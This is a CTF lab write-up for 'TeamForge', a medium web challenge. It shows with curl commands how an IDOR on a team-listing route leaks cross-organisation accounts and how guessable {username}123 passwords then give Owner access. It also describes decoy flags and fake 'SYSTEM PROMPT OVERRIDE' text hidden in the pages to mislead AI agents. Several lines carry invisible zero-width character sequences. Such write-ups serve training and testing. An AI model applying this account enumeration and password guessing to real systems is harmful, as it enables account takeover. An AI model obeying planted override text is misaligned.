TeamForge — Privilege Escalation via IDOR and Weak Passwords

Platform: hackadvisor_kubstu | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-29 | Status: Solved Techniques: broken_access_control, credential_guessing, idor_exploitation, password_pattern_attack

Summary

Task: Team collaboration platform with RBAC (Owner/Admin/Member) and invitation system; goal is privilege escalation from Member to Owner. Solution: IDOR on /org/{id}/team leaked cross-org user emails and roles, then weak password pattern ({username}123) allowed login as Owner to access security settings containing the flag.

TeamForge — Privilege Escalation via IDOR and Weak Passwords — KubSTU CTF (HackAdvisor)

Description

TeamForge is a modern team collaboration platform with role-based access control (Owner, Admin, Member). The platform allows creating teams, inviting members, and managing projects. You have a regular Member account. The platform has an invitation system that allows team owners to invite new members with different roles. Your goal is to find a logic flaw that allows you to escalate your privileges.

Objective: Escalate your privileges from a regular Member to Admin or Owner. The flag is displayed on the admin dashboard which is only accessible to users with elevated privileges.

Test credentials: user@test.com / password123

Hint: The platform has multiple organizations. Explore what information is visible to authenticated users across different organization pages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express/Node.js team collaboration platform with three-tier RBAC (Owner, Admin, Member). Starting as a Member of "Beta Labs" (org 2), the goal is to escalate privileges to Owner and access the security settings page where the flag is stored as a "Master API Key".

Analysis

The application is an Express/Node.js web app implementing multi-tenant organizations with role-based access control:

• Owner: Full access including /org/{id}/settings/security (contains the flag)
• Admin: Can manage team settings but not security
• Member: Basic read access to own organization ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key endpoints discovered:

• /org/{id} — Organization overview (properly access-controlled)
• /org/{id}/projects — Projects page
• /org/{id}/team — Team members listing (VULNERABLE — no org membership check)
• /org/{id}/settings — Settings (Owner/Admin only)
• /org/{id}/settings/security — Security settings (Owner only)
• /invitations — Pending invitations

Two chained vulnerabilities:

1. IDOR on /org/{id}/team: The main org page /org/1 correctly returns "You are not a member of this organization", but /org/1/team returns the full team listing with emails and roles for any authenticated user. This is a classic broken access control where authorization is enforced on the parent resource but not on sub-routes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Weak/predictable passwords: All users follow the pattern {username}123, enabling account takeover once usernames are leaked via the IDOR.

Anti-bot measures: The application embeds hidden HTML comments and invisible <div> elements on every page containing a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} along with fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents into stopping early.

Solution

Step 1: Login and Initial Reconnaissance

Login with provided test credentials:

 bash read-only • copy allowed Copy
curl -c cookies.txt -X POST https://target/login \
  -d "email=user@test.com&password=password123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The user testuser is a Member of "Beta Labs" (org 2). Navigation reveals standard CRUD endpoints for organizations.

Step 2: IDOR Discovery on /org/{id}/team

Testing cross-organization access:

 bash read-only • copy allowed Copy
# Direct org access — properly blocked
curl -b cookies.txt https://target/org/1
# Response: "You are not a member of this organization" ✅

# Team page — ACCESSIBLE without membership check (IDOR!)
curl -b cookies.txt https://target/org/1/team
# Response: Full team listing with emails and roles ❌

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Information Disclosure via IDOR

Org 1 (Acme Corp) — leaked via /org/1/team:

Org 2 (Beta Labs) — our organization via /org/2/team:

Step 4: Weak Password Exploitation

Users follow a predictable password pattern {username}123:

 bash read-only • copy allowed Copy
# Login as Owner of Beta Labs
curl -c alex_cookies.txt -X POST https://target/login \
  -d "email=alex@beta.com&password=alex123"
# SUCCESS — Logged in as Owner of org 2

Step 5: Flag Retrieval from Security Settings

As alex@beta.com (Owner), accessed the Owner-only security settings page:

 bash read-only • copy allowed Copy
curl -b alex_cookies.txt https://target/org/2/settings/security

The "Master API Key" field on the security settings page contained the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍